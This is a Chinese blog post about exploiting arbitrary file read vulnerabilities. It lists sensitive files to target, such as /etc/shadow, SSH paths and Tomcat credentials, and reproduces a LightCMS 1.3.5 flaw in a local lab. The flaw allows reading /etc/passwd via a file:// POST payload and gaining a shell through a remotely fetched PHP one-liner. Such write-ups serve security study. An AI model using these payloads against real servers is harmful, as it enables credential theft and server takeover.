任意文件读取漏洞的利用指南

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了任意文件读取漏洞的利用指南相关的知识,希望对你有一定的参考价值。

参考技术A 基本思路就是尝试读取敏感文件以获取尽可能多的信息。
比如, /etc/issue 可以确认 Linux 主机的发行版,
其中 .bash_history, ssh相关路径 中可能含有大量敏感信息,
获取到 /etc/shadow 则可以直接使用 John The Ripper 尝试枚举 root 密码。
Tomcat 控制台可读取用户密码 /usr/local/tomcat/conf/tomcat-users.xml。

顺带提供了一些黑盒和白盒状态下挖掘此类漏洞的一些思路,主要以 php 为例。

高效利用字典: https://github.com/ev0A/ArbitraryFileReadList

可以在本地构造虚拟机,搭建类似的环境,查看默认路径情况。

服务器进程权限判断:通过 /etc/shadow, /proc/self/cwd 能不能读到,可以判断进程的权限,可读(root),不可读(非 root)

有些文件需要高权限才能读取

LightCMS1.3.5-任意文件读取&RCE漏洞

LightCMS1.3.5-任意文件读取&RCE漏洞

环境搭建(Kali)

个人环境配置:php7.4.15 + mysql8.0.25

  1. 首先确保系统已安装好composer,可以参考我之前写的文章:文章链接
  2. 下载文件源码
cd /var/www/html
git clone https://hub.fastgit.org/eddy8/LightCMS.git
cd lightCMS
composer install
  1. 设置目录权限:storage/和bootstrap/cache/目录需要写入权限。
sudo chmod 777 -R storage/ bootstrap/cache/
  1. 新建一份环境配置,并配置好数据库等相关配置
cp .env.example .env

数据库配置:
CREATE DATABASE homestead;
CREATE USER 'homestead'@'localhost' IDENTIFIED BY 'secret';
GRANT ALL PRIVILEGES ON *.* TO 'homestead'@'localhost';
FLUSH PRIVILEGES;

初始化系统

php artisan migrate --seed

PS:这里可能会遇到一些问题,我备注一下自己遇到的问题及其解决方案
1、安装组件时如果无法生成vendor目录可以运行composer install --ignore-platform-reqs命令
2、启动服务时Illuminate\\Database\\QueryException报错可能是因为没有安装php-mysql依赖
step1:php -v
step2: Install php mysql extension
php 7.x sudo apt-get install php7.x-mysql
step3: service apache2 restart
step4: php artisan migrate
  1. 后台访问地址:/admin/login
默认用户(此用户为超级用户,不受权限管理限制):admin/admin
这里可能会遇到图形验证码无法显示,终端输入:apt-get install php7.x-gd

在这里插入图片描述

漏洞复现

利用点一

使用admin/admin登录管理员
访问http://ip/admin/neditor/serve/catchimage,POST传file=file:///etc/passwd,此时会返回

{"list":[{"url":"http://light.com/upload/image/202106/0f1726ba83325848d47e216b29d5ab99.jpg","source":"file:///etc/passwd","state":"SUCCESS"}]}

在这里插入图片描述

根据返回值,直接访问链接地址即可

利用点二

直接传php文件RCE,构造一个php脚本放置vps下,访问读取该文件

在这里插入图片描述
在这里插入图片描述

漏洞分析

这个漏洞出在app/Http/Controllers/Admin/NEditorController.php中的远程下载图片的功能

在这里插入图片描述

这里简单使用了file_get_contents来获取并保存文件内容,所以我们可以使用file协议实现任意文件读取等ssrf操作,更危险的是这里的逻辑是取到的文件名后缀是什么,保存的就是什么后缀,所以我们可以放一个php一句话在服务器上,然后来请求该一句话文件来达到getshell的目的

以上是关于任意文件读取漏洞的利用指南的主要内容,如果未能解决你的问题,请参考以下文章

FFmpeg本地任意文件读取漏洞 / FFmpeg Local arbitrary file read vulnerability

安全研究 | Jenkins 任意文件读取漏洞分析

LightCMS1.3.5-任意文件读取&RCE漏洞

CNNVD关于IBM WebSphere任意文件读取漏洞情况的通报

Python 开发 漏洞的批量搜索与利用.(GlassFish 任意文件读取)

帆软报表 V8 get_geo_json 任意文件读取漏洞